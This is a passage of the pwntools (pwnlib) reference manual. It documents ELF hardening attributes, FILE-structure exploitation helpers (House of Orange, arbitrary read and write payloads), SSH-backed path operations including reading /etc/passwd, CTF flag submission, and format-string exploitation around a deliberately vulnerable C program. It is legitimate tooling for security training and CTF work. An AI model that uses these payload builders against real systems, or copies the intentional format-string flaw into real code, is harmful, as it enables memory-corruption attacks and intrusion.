Linux kernel build commit, if this is a Linux kernel image

Type `str`

buildid
GNU Build ID embedded into the binary

Type `str`

bytes = 4
Pointer width, in bytes

Type `int`

canary
Whether the current binary uses stack canaries.

Type `bool`

config = None
Linux kernel configuration, if this is a Linux kernel image

Type `dict`

data
Raw data of the ELF file.

See: `get_data()`

Type `str`

dwarf
DWARF info for the elf

elftype
ELF type (`EXEC`, `DYN`, etc)

Type `str`

endian = 'little'
Endianness of the file (e.g. `'big'`, `'little'`)

Type `str`

entry
Address of the entry point for the ELF

Type `int`

entrypoint
Address of the entry point for the ELF

Type `int`

execstack

Whether the current binary uses an executable stack.

This is based on the presence of a program header PT_GNU_STACK being present, and its setting.

> PT_GNU_STACK
>
> The p_flags member specifies the permissions on the segment containing the stack and is used to indicate whether the stack should be executable. The absense of this header indicates that the stack will be executable.

In particular, if the header is missing the stack is executable. If the header is present, it may **explicitly** mark that the stack is executable.

This is only somewhat accurate. When using the GNU Linker, it usees DEFAULT_STACK_PERMS to decide whether a lack of `PT_GNU_STACK` should mark the stack as executable:

```
/* On most platforms presume that PT_GNU_STACK is absent and the stack is
 * executable.  Other platforms default to a nonexecutable stack and don't
 * need PT_GNU_STACK to do so.  */
uint_fast16_t stack_flags = DEFAULT_STACK_PERMS;
```

By searching the source for `DEFAULT_STACK_PERMS`, we can see which architectures have which settings.

```
$ git grep '#define DEFAULT_STACK_PERMS' | grep -v PF_X
sysdeps/aarch64/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
sysdeps/nios2/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
sysdeps/tile/stackinfo.h:31:#define DEFAULT_STACK_PERMS (PF_R|PF_W)
```

Type `bool`

executable = None

`True` if the ELF is an executable

executable_segments

List of all segments which are executable.

See: *ELF.segments*

Type `list`

file = None

Open handle to the ELF file on disk

Type *file*

fortify

Whether the current binary was built with Fortify Source (`-DFORTIFY`).

Type `bool`

functions = {}

dotdict of `name` to *Function* for each function in the ELF

got = {}

dotdict of `name` to `address` for all Global Offset Table (GOT) entries

libc

If this *ELF* imports any libraries which contain `'libc[.-]`, and we can determine the appropriate path to it on the local system, returns a new *ELF* object pertaining to that library.

If not found, the value will be None.

Type *ELF*

libc_start_main_return

Try to find the return address from main into __libc_start_main. The heuristic to find the call to the function pointer of main is to list all calls inside __libc_start_main, find the call to exit after the call to main and select the previous call.

library = None

True if the ELF is a shared library

libs

address} for every library loaded for this ELF.

Type Dictionary of {path

linker = None

Path to the linker for the ELF

maps

address} for every mapping in this ELF's address space.

Type Dictionary of {name

memory = None

IntervalTree which maps all of the loaded memory segments

mmap = None

Memory-mapped copy of the ELF file on disk

Type mmap.mmap

msan

Whether the current binary was built with Memory Sanitizer (MSAN).

Type bool

native = None

Whether this ELF should be able to run natively

non_writable_segments

List of all segments which are NOT writeable.

See: *ELF.segments*

Type list

nx

Whether the current binary uses NX protections.

Specifically, we are checking for READ_IMPLIES_EXEC being set by the kernel, as a result of honoring PT_GNU_STACK in the kernel.

The **Linux kernel** directly honors PT_GNU_STACK to mark the stack as executable.

```
case PT_GNU_STACK:
    if (elf_ppnt->p_flags & PF_X)
        executable_stack = EXSTACK_ENABLE_X;
    else
        executable_stack = EXSTACK_DISABLE_X;
    break;
```

Additionally, it then sets read_implies_exec, so that all readable pages are executable.

```
if (elf_read_implies_exec(loc->elf_ex, executable_stack))
    current->personality |= READ_IMPLIES_EXEC;
```

Type `bool`

os = None
Operating system of the ELF

packed
Whether the current binary is packed with UPX.

Type `bool`

path = '/path/to/the/file'
Path to the file

Type `str`

pie
Whether the current binary is position-independent.

Type `bool`

plt = {}
dotdict of `name` to `address` for all Procedure Linkate Table (PLT) entries

relro
Whether the current binary uses RELRO protections.

This requires both presence of the dynamic tag `DT_BIND_NOW`, and a `GNU_RELRO` program header.

The ELF Specification describes how the linker should resolve symbols immediately, as soon as a binary is loaded. This can be emulated with the `LD_BIND_NOW=1` environment variable.

> `DT_BIND_NOW`
>
> If present in a shared object or executable, this entry instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.
>
> (page 81)

Separately, an extension to the GNU linker allows a binary to specify a PT_GNU_RELRO program header, which describes the *region of memory which is to be made read-only after relocations are complete.*

Finally, a new-ish extension which doesn't seem to have a canonical source of documentation is DF_BIND_NOW, which has supposedly superceded `DT_BIND_NOW`.

> `DF_BIND_NOW`
>
> If set in a shared object or executable, this flag instructs the dynamic linker to process all relocations for the object containing this entry before transferring control to the program. The presence of this entry takes precedence over a directive to use lazy binding for this object when specified through the environment or via `dlopen(BA_LIB)`.

```
>>> path = pwnlib.data.elf.relro.path
>>> for test in glob(os.path.join(path, 'test-*')):
...     e = ELF(test)
...     expected = os.path.basename(test).split('-')[2]
...     actual = str(e.relro).lower()
...     assert actual == expected
```

Type `bool`

rpath
Whether the current binary has an `RPATH`.

Type `bool`

runpath
Whether the current binary has a `RUNPATH`.

Type `bool`

rwx_segments
List of all segments which are writeable and executable.

See: *`ELF.segments`*

Type `list`

sections
A list of `elftools.elf.sections.Section` objects for the segments in the ELF.

Type `list`

segments
A list of `elftools.elf.segments.Segment` objects for the segments in the ELF.

Type `list`

start
Address of the entry point for the ELF

Type `int`

statically_linked = None
`True` if the ELF is statically linked

sym
Alias for *`ELF.symbols`*

Type *`dotdict`*

symbols = {}
`dotdict` of `name` to `address` for all symbols in the ELF

ubsan
Whether the current binary was built with Undefined Behavior Sanitizer (`UBSAN`).

Type `bool`

version = None
Linux kernel version, if this is a Linux kernel image

Type `tuple`

writable_segments
List of all segments which are writeable.

See: *`ELF.segments`*

Type `list`

class `pwnlib.elf.elf.`**`Function`**(*name*, *address*, *size*, *elf=None*)
Encapsulates information about a function in an *`ELF`* binary.

Parameters

- **name** (*str*) – Name of the function
- **address** (*int*) – Address of the function
- **size** (*int*) – Size of the function, in bytes
- **elf** (ELF) – Encapsulating ELF object

__init__(*name*, *address*, *size*, *elf=None*)
x.__init__(...) initializes x; see help(type(x)) for signature

__repr__() <==> *repr(x)*

__weakref__
list of weak references to the object (if defined)

address = None
Address of the function in the encapsulating ELF

elf = None
Encapsulating ELF object

name = None
Name of the function

size = None
Size of the function, in bytes

class pwnlib.elf.elf.**dotdict**
Wrapper to allow dotted access to dictionary elements.

Is a real `dict` object, but also serves up keys as attributes when reading attributes.

Supports recursive instantiation for keys which contain dots.

Example

```
>>> x = pwnlib.elf.elf.dotdict()
>>> isinstance(x, dict)
True
>>> x['foo'] = 3
>>> x.foo
3
>>> x['bar.baz'] = 4
>>> x.bar.baz
4
```

__weakref__
list of weak references to the object (if defined)

2.14 pwnlib.exception — Pwnlib exceptions

exception pwnlib.exception.**PwnlibException**(*msg*, *reason=None*, *exit_code=None*)
Exception thrown by `pwnlib.log.error()`.

Pwnlib functions that encounters unrecoverable errors should call the `pwnlib.log.error()` function instead of throwing this exception directly.

bar

__init__(*msg*, *reason=None*, *exit_code=None*)
bar

__repr__() <==> *repr(x)*

__weakref__
list of weak references to the object (if defined)

2.15 pwnlib.filepointer — *FILE** structure exploitation

File Structure Exploitation

struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - `_IO_buf_base` and `_IO_buf_end` for reading data to arbitrary location.

Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-

```
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeef)
>>> fileStr.vtable = 0xcafebabe
>>> payload = bytes(fileStr)
>>> payload
b
↪'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
↪'
```

Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe

Currently only 'amd64' and 'i386' architectures are supported

class pwnlib.filepointer.**FileStructure**(*null=0*)
Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.

Parameters **null** (*int*) – A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)

Examples

FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d

```
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeeef)
>>> fileStr.flags = 0xfbad1807
>>> fileStr._IO_buf_base = 0xcafebabe
>>> fileStr._IO_buf_end = 0xfacef00d
>>> payload = bytes(fileStr)
>>> payload
b
↪'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
↪'
```

Check the length of the FileStructure

```
>>> len(fileStr)
224
```

The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell

```
>>> q=FileStructure(0xdeadbeef)
>>> q
{ flags: 0x0
 _IO_read_ptr: 0x0
 _IO_read_end: 0x0
 _IO_read_base: 0x0
 _IO_write_base: 0x0
 _IO_write_ptr: 0x0
 _IO_write_end: 0x0
 _IO_buf_base: 0x0
 _IO_buf_end: 0x0
 _IO_save_base: 0x0
 _IO_backup_base: 0x0
 _IO_save_end: 0x0
 markers: 0x0
 chain: 0x0
 fileno: 0x0
 _flags2: 0x0
 _old_offset: 0xffffffffffffffff
 _cur_column: 0x0
 _vtable_offset: 0x0
 _shortbuf: 0x0
 unknown1: 0x0
 _lock: 0xdeadbeef
 _offset: 0xffffffffffffffff
 _codecvt: 0x0
 _wide_data: 0xdeadbeef
 unknown2: 0x0
 vtable: 0x0}
```

__init__(*null=0*)
x.__init__(. . .) initializes x; see help(type(x)) for signature

__repr__() <==> *repr(x)*

__setattr__(*item*, *value*)
x.__setattr__('name', value) <==> x.name = value

orange(*io_list_all*, *vtable*)
Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.

Parameters

- **io_list_all** (*int*) – Address of _IO_list_all in libc.
- **vtable** (*int*) – Address of the fake vtable in memory

Example

Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -

```
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
>>> payload
b'/bin/
↪sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x0
↪'
```

read (*addr=0*, *size=0*)
Reading data into arbitrary memory location.

Parameters

- **addr** (*int*) – The address into which data is to be written from stdin
- **size** (*int*) – The size, in bytes, of the data to be written

Example

Payload for reading 100 bytes from stdin into the address 0xcafebabe

```
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.read(addr=0xcafebabe, size=100)
>>> payload
b
↪'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
↪"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
↪'
```

struntil (*v*)
Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.

Parameters **v** (*string*) – The name of the field uptil which the payload should be created.

Example

Payload for data uptil _IO_buf_end

```
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.struntil("_IO_buf_end")
>>> payload
b
↪'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
↪'
```

write (*addr=0*, *size=0*)
Writing data out from arbitrary memory address.

Parameters

- **addr** (*int*) – The address from which data is to be printed to stdout
- **size** (*int*) – The size, in bytes, of the data to be printed

Example

Payload for writing 100 bytes to stdout from the address 0xcafebabe

```
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.write(addr=0xcafebabe, size=100)
>>> payload
b
↪'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\
↪"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
↪'
```

__weakref__
list of weak references to the object (if defined)

pwnlib.filepointer.**update_var**(*l*)
Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.

Parameters **l** (*int*) – l=8 for 'amd64' architecture and l=4 for 'i386' architecture

Return Value: Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set

Examples

```
>>> update_var(8)
{'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_
↪base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_
↪end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers
↪': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2,
↪ '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8,
↪'_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
```

2.16 pwnlib.filesystem — Manipulating Files Locally and Over SSH

Provides a Python2-compatible pathlib interface for paths on the local filesystem (*.Path*) as well as on remote filesystems, via SSH (*.SSHPath*).

Handles file abstraction for local vs. remote (via ssh)

class pwnlib.filesystem.**SSHPath**(*path*, *ssh=None*)
Represents a file that exists on a remote filesystem.

See *ssh* for more information on how to set up an SSH connection. See pathlib.Path for documentation on what members and properties this object has.

Parameters

- **name** (*str*) – Name of the file
- **ssh** (ssh) – *ssh* object for manipulating remote files

Note: You can avoid having to supply `ssh=` on every `SSHPath` by setting `context.ssh_session`. In these examples we provide `ssh=` for clarity.

Examples

First, create an SSH connection to the server.

```
>>> ssh_conn = ssh('travis', 'example.pwnme')
```

Let's use a temporary directory for our tests

```
>>> _ = ssh_conn.set_working_directory()
```

Next, you can create SSHPath objects to represent the paths to files on the remote system.

```
>>> f = SSHPath('filename', ssh=ssh_conn)
>>> f.touch()
>>> f.exists()
True
>>> f.resolve().path # doctests: +ELLIPSIS
'/tmp/.../filename'
>>> f.write_text('asdf ')
>>> f.read_bytes()
b'asdf \xe2\x9d\xa4\xef\xb8\x8f'
```

`context.ssh_session` must be set to use the `SSHPath.mktemp()` or `SSHPath.mkdtemp()` methods.

```
>>> context.ssh_session = ssh_conn
>>> SSHPath.mktemp() # doctest: +ELLIPSIS
SSHPath('...', ssh=ssh(user='travis', host='127.0.0.1'))
```

__bytes__()
Return the bytes representation of the path. This is only recommended to use under Unix.

__eq__(*other*)
x.__eq__(y) <==> x==y

__init__(*path*, *ssh=None*)
x.__init__(...) initializes x; see help(type(x)) for signature

__repr__() <==> *repr(x)*

__str__()
Return the string representation of the path, suitable for passing to system calls.

absolute()
Return the absolute path to a file, preserving e.g. "../". The current working directory is determined via the *ssh* member `ssh.cwd`.

Example

```
>>> f = SSHPath('absA/../absB/file', ssh=ssh_conn)
>>> f.absolute().path # doctest: +ELLIPSIS
'/.../absB/file'
```

as_posix()
Return the string representation of the path with forward (/) slashes.

as_uri()
Return the path as a 'file' URI.

chmod(*mode*)
Change the permissions of a file

```
>>> f = SSHPath('chmod_me', ssh=ssh_conn)
>>> f.touch() # E
>>> '0o%o' % f.stat().st_mode
'0o100664'
>>> f.chmod(0o777)
>>> '0o%o' % f.stat().st_mode
'0o100777'
```

exists()
Returns True if the path exists

Example

```
>>> a = SSHPath('exists', ssh=ssh_conn)
>>> a.exists()
False
>>> a.touch()
>>> a.exists()
True
>>> a.unlink()
>>> a.exists()
False
```

expanduser()
Expands a path that starts with a tilde

Example

```
>>> f = SSHPath('~/my-file', ssh=ssh_conn)
>>> f.path
'~/my-file'
>>> f.expanduser().path # doctest: +ELLIPSIS
'/home/.../my-file'
```

glob(*pattern*)
Iterate over this subtree and yield all existing files (of any kind, including directories) matching the given relative pattern.

group()
Return the group name of the file gid.

is_absolute()
Returns whether a path is absolute or not.

```
>>> f = SSHPath('hello/world/file.txt', ssh=ssh_conn)
>>> f.is_absolute()
False
```

```
>>> f = SSHPath('/hello/world/file.txt', ssh=ssh_conn)
>>> f.is_absolute()
True
```

is_block_device()
Whether this path is a block device.

is_char_device()
Whether this path is a character device.

is_dir()
Returns True if the path exists and is a directory

Example

```
>>> f = SSHPath('is_dir', ssh=ssh_conn)
>>> f.is_dir()
False
>>> f.touch()
>>> f.is_dir()
False
>>> f.unlink()
>>> f.mkdir()
>>> f.is_dir()
True
```

is_fifo()
Whether this path is a FIFO.

is_file()
Returns True if the path exists and is a file

Example

```
>>> f = SSHPath('is_file', ssh=ssh_conn)
>>> f.is_file()
False
>>> f.touch()
>>> f.is_file()
True
>>> f.unlink()
>>> f.mkdir()
>>> f.is_file()
False
```

is_reserved()
Return True if the path contains one of the special names reserved by the system, if any.

is_socket()
Whether this path is a socket.

is_symlink()
Whether this path is a symbolic link.

iterdir()
Iterates over the contents of the directory

```
>>> directory = SSHPath('iterdir', ssh=ssh_conn)
>>> directory.mkdir()
>>> fileA = directory.joinpath('fileA')
>>> fileA.touch()
>>> fileB = directory.joinpath('fileB')
>>> fileB.touch()
>>> dirC = directory.joinpath('dirC')
>>> dirC.mkdir()
>>> [p.name for p in directory.iterdir()]
['dirC', 'fileA', 'fileB']
```

joinpath (**args*)

Combine this path with one or several arguments.

```
>>> f = SSHPath('hello', ssh=ssh_conn)
>>> f.joinpath('world').path
'hello/world'
```

lchmod (***kw*)

Like chmod(), except if the path points to a symlink, the symlink's permissions are changed, rather than its target's.

match (*path_pattern*)

Return True if this path matches the given pattern.

mkdir (*mode=511*, *parents=False*, *exist_ok=True*)

Make a directory at the specified path

```
>>> f = SSHPath('dirname', ssh=ssh_conn)
>>> f.mkdir()
>>> f.exists()
True
```

```
>>> f = SSHPath('dirA/dirB/dirC', ssh=ssh_conn)
>>> f.mkdir(parents=True)
>>> ssh_conn.run(['ls', '-la', f.absolute().path], env={'LC_ALL': 'C.UTF-8'}).
↪recvline()
b'total 8\n'
```

open (**a*, ***kw*)

Return a file-like object for this path.

This currently seems to be broken in Paramiko.

```
>>> f = SSHPath('filename', ssh=ssh_conn)
>>> f.write_text('Hello')
>>> fo = f.open(mode='r+')
>>> fo                          # doctest: +ELLIPSIS
<paramiko.sftp_file.SFTPFile object at ...>
>>> fo.read('asdfasdf')         # doctest: +SKIP
b'Hello'
```

owner ()

Return the login name of the file owner.

read_bytes ()

Read bytes from the file at this path

```
>>> f = SSHPath('/etc/passwd', ssh=ssh_conn)
>>> f.read_bytes()[:10]
b'root:x:0:0'
```

read_text()
Read text from the file at this path

```
>>> f = SSHPath('/etc/passwd', ssh=ssh_conn)
>>> f.read_text()[:10]
'root:x:0:0'
```

relative_to(**other*)
Return the relative path to another path identified by the passed arguments. If the operation is not possible (because this is not a subpath of the other path), raise ValueError.

rename(*target*)
Rename a file to the target path

Example

```
>>> a = SSHPath('rename_from', ssh=ssh_conn)
>>> b = SSHPath('rename_to', ssh=ssh_conn)
>>> a.touch()
>>> b.exists()
False
>>> a.rename(b)
>>> b.exists()
True
```

replace(*target*)
Replace target file with file at this path

Example

```
>>> a = SSHPath('rename_from', ssh=ssh_conn)
>>> a.write_text('A')
>>> b = SSHPath('rename_to', ssh=ssh_conn)
>>> b.write_text('B')
>>> a.replace(b)
>>> b.read_text()
'A'
```

resolve(*strict=False*)
Return the absolute path to a file, resolving any '..' or symlinks. The current working directory is determined via the *ssh* member `ssh.cwd`.

Note: The file must exist to call resolve().

Examples

```
>>> f = SSHPath('resA/resB/../resB/file', ssh=ssh_conn)
```

```
>>> f.resolve().path # doctest: +ELLIPSIS
Traceback (most recent call last):
...
ValueError: Could not normalize path: '/.../resA/resB/file'
```

```
>>> f.parent.absolute().mkdir(parents=True)
>>> list(f.parent.iterdir())
[]
```

```
>>> f.touch()
>>> f.resolve() # doctest: +ELLIPSIS
SSHPath('/.../resA/resB/file', ssh=ssh(user='...', host='127.0.0.1'))
```

rglob (*pattern*)

Recursively yield all existing files (of any kind, including directories) matching the given relative pattern, anywhere in this subtree.

rmdir ()

Remove an existing directory.

Example

```
>>> f = SSHPath('rmdir_me', ssh=ssh_conn)
>>> f.mkdir()
>>> f.is_dir()
True
>>> f.rmdir()
>>> f.exists()
False
```

samefile (*other_path*)

Returns whether two files are the same

```
>>> a = SSHPath('a', ssh=ssh_conn)
>>> A = SSHPath('a', ssh=ssh_conn)
>>> x = SSHPath('x', ssh=ssh_conn)
```

```
>>> a.samefile(A)
True
>>> a.samefile(x)
False
```

stat ()

Returns the permissions and other information about the file

```
>>> f = SSHPath('filename', ssh=ssh_conn)
>>> f.touch()
>>> stat = f.stat()
>>> stat.st_size
0
```

(continues on next page)

(continued from previous page)

```
>>> '%o' % stat.st_mode # doctest: +ELLIPSIS
'...664'
```

symlink_to(*target*)
Create a symlink at this path to the provided target

Example

```
>>> a = SSHPath('link_name', ssh=ssh_conn)
>>> b = SSHPath('link_target', ssh=ssh_conn)
>>> a.symlink_to(b)
>>> a.write_text("Hello")
>>> b.read_text()
'Hello'
```

touch()
Touch a file (i.e. make it exist)

```
>>> f = SSHPath('touchme', ssh=ssh_conn)
>>> f.exists()
False
>>> f.touch()
>>> f.exists()
True
```

unlink(*missing_ok=False*)
Remove an existing file.

Example

```
>>> f = SSHPath('unlink_me', ssh=ssh_conn)
>>> f.exists()
False
>>> f.touch()
>>> f.exists()
True
>>> f.unlink()
>>> f.exists()
False
```

Note that unlink only works on files.

```
>>> f.mkdir()
>>> f.unlink()
Traceback (most recent call last):
...
ValueError: Cannot unlink SSHPath(...)): is not a file
```

with_name(*name*)
Return a new path with the file name changed

```
>>> f = SSHPath('hello/world', ssh=ssh_conn)
>>> f.path
```

(continues on next page)

(continued from previous page)

```
'hello/world'
>>> f.with_name('asdf').path
'hello/asdf'
```

with_stem(*name*)

Return a new path with the stem changed.

```
>>> f = SSHPath('hello/world.tar.gz', ssh=ssh_conn)
>>> f.with_stem('asdf').path
'hello/asdf.tar.gz'
```

with_suffix(*suffix*)

Return a new path with the file suffix changed

```
>>> f = SSHPath('hello/world.tar.gz', ssh=ssh_conn)
>>> f.with_suffix('.tgz').path
'hello/world.tgz'
```

write_bytes(*data*)

Write bytes to the file at this path

```
>>> f = SSHPath('somefile', ssh=ssh_conn)
>>> f.write_bytes(b'\x00HELLO\x00')
>>> f.read_bytes()
b'\x00HELLO\x00'
```

write_text(*data*)

Write text to the file at this path

```
>>> f = SSHPath('somefile', ssh=ssh_conn)
>>> f.write_text("HELLO ")
>>> f.read_bytes()
b'HELLO \xf0\x9f\x98\xad'
>>> f.read_text()
'HELLO '
```

__weakref__

list of weak references to the object (if defined)

home

Returns the home directory for the SSH connection

```
>>> f = SSHPath('...', ssh=ssh_conn)
>>> f.home # doctest: +ELLIPSIS
SSHPath('/home/...', ssh=ssh(user='...', host='127.0.0.1'))
```

name

Returns the name of the file.

```
>>> f = SSHPath('hello', ssh=ssh_conn)
>>> f.name
'hello'
```

parent

Return the parent of this path

```
>>> f = SSHPath('hello/world/file.txt', ssh=ssh_conn)
>>> f.parent.path
'hello/world'
```

parents

Return the parents of this path, as individual parts

```
>>> f = SSHPath('hello/world/file.txt', ssh=ssh_conn)
>>> list(p.path for p in f.parents)
['hello', 'world']
```

parts

Return the individual parts of the path

```
>>> f = SSHPath('hello/world.tar.gz', ssh=ssh_conn)
>>> f.parts
['hello', 'world.tar.gz']
```

stem

Returns the stem of a file without any extension

```
>>> f = SSHPath('hello.tar.gz', ssh=ssh_conn)
>>> f.stem
'hello'
```

suffix

Returns the suffix of the file.

```
>>> f = SSHPath('hello.tar.gz', ssh=ssh_conn)
>>> f.suffix
'.gz'
```

suffixes

Returns the suffixes of a file

```
>>> f = SSHPath('hello.tar.gz', ssh=ssh_conn)
>>> f.suffixes
'.tar.gz'
```

class pwnlib.filesystem.**Path**

PurePath subclass that can make system calls.

Path represents a filesystem path but unlike PurePath, also offers methods to do system calls on path objects. Depending on your system, instantiating a Path will return either a PosixPath or a WindowsPath object. You can also instantiate a PosixPath or WindowsPath directly, but cannot instantiate a WindowsPath on a POSIX system or vice versa.

_raw_open(*flags*, *mode=511*)

Open the file pointed by this path and return a file descriptor, as os.open() does.

absolute()

Return an absolute version of this path. This function works even if the path doesn't point to anything.

No normalization is done, i.e. all '.' and '..' will be kept along. Use resolve() to get the canonical path to a file.

chmod(*mode*)

Change the permissions of the path, like os.chmod().

classmethod cwd()
Return a new path pointing to the current working directory (as returned by os.getcwd()).

exists()
Whether this path exists.

expanduser()
Return a new path with expanded ~ and ~user constructs (as returned by os.path.expanduser)

glob(*pattern*)
Iterate over this subtree and yield all existing files (of any kind, including directories) matching the given relative pattern.

group()
Return the group name of the file gid.

classmethod home()
Return a new path pointing to the user's home directory (as returned by os.path.expanduser('~')).

is_block_device()
Whether this path is a block device.

is_char_device()
Whether this path is a character device.

is_dir()
Whether this path is a directory.

is_fifo()
Whether this path is a FIFO.

is_file()
Whether this path is a regular file (also True for symlinks pointing to regular files).

is_mount()
Check if this path is a POSIX mount point

is_socket()
Whether this path is a socket.

is_symlink()
Whether this path is a symbolic link.

iterdir()
Iterate over the files in this directory. Does not yield any result for the special paths '.' and '..'.

lchmod(*mode*)
Like chmod(), except if the path points to a symlink, the symlink's permissions are changed, rather than its target's.

lstat()
Like stat(), except if the path points to a symlink, the symlink's status information is returned, rather than its target's.

mkdir(*mode=511*, *parents=False*, *exist_ok=False*)
Create a new directory at this given path.

open(*mode='r'*, *buffering=-1*, *encoding=None*, *errors=None*, *newline=None*)
Open the file pointed by this path and return a file object, as the built-in open() function does.

owner()
Return the login name of the file owner.

read_bytes()
Open the file in bytes mode, read it, and close the file.

read_text(*encoding=None*, *errors=None*)
Open the file in text mode, read it, and close the file.

rename(*target*)
Rename this path to the given path.

replace(*target*)
Rename this path to the given path, clobbering the existing destination if it exists.

resolve(*strict=False*)
Make the path absolute, resolving all symlinks on the way and also normalizing it (for example turning slashes into backslashes under Windows).

rglob(*pattern*)
Recursively yield all existing files (of any kind, including directories) matching the given relative pattern, anywhere in this subtree.

rmdir()
Remove this directory. The directory must be empty.

samefile(*other_path*)
Return whether other_path is the same or not as this file (as returned by os.path.samefile()).

stat()
Return the result of the stat() system call on this path, like os.stat() does.

symlink_to(*target*, *target_is_directory=False*)
Make this path a symlink pointing to the given path. Note the order of arguments (self, target) is the reverse of os.symlink's.

touch(*mode=438*, *exist_ok=True*)
Create this file with the given access mode, if it doesn't exist.

unlink()
Remove this file or link. If the path is a directory, use rmdir() instead.

write_bytes(*data*)
Open the file in bytes mode, write to it, and close the file.

write_text(*data*, *encoding=None*, *errors=None*, *newline=None*)
Open the file in text mode, write to it, and close the file.

2.17 `pwnlib.flag` — CTF Flag Management

pwnlib.flag.**submit_flag**(*flag*, *exploit='unnamed-exploit'*, *target='unknown-target'*, *server='flag-submission-server'*, *port='31337'*, *team='unknown-team'*)
Submits a flag to the game server

Parameters

- **flag** (*str*) – The flag to submit.
- **exploit** (*str*) – Exploit identifier, optional
- **target** (*str*) – Target identifier, optional
- **server** (*str*) – Flag server host name, optional
- **port** (*int*) – Flag server port, optional

- **team** (*str*) – Team identifier, optional

Optional arguments are inferred from the environment, or omitted if none is set.

Returns A string indicating the status of the key submission, or an error code.

Doctest:

```
>>> l = listen()
>>> _ = submit_flag('flag', server='localhost', port=l.lport)
>>> c = l.wait_for_connection()
>>> c.recvall().split()
[b'flag', b'unnamed-exploit', b'unknown-target', b'unknown-team']
```

2.18 pwnlib.fmtstr — Format string bug exploitation tools

Provide some tools to exploit format string bug

Let's use this program as an example:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define MEMORY_ADDRESS ((void*)0x11111000)
#define MEMORY_SIZE 1024
#define TARGET ((int *) 0x11111110)
int main(int argc, char const *argv[])
{
       char buff[1024];
       void *ptr = NULL;
       int *my_var = TARGET;
       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_
↪ANONYMOUS|MAP_PRIVATE, 0, 0);
       if(ptr != MEMORY_ADDRESS)
       {
               perror("mmap");
               return EXIT_FAILURE;
       }
       *my_var = 0x41414141;
       write(1, &my_var, sizeof(int *));
       scanf("%s", buff);
       dprintf(2, buff);
       write(1, my_var, sizeof(int));
       return 0;
}
```

We can automate the exploitation of the process like so:

```
>>> program = pwnlib.data.elf.fmtstr.get('i386')
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
```

(continues on next page)

(continued from previous page)

```
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print(hex(unpack(p.recv(4))))
0x1337babe
```

2.18.1 Example - Payload generation

```
# we want to do 3 writes
writes = {0x08041337:   0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
```

2.18.2 Example - Automated exploitation

```
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
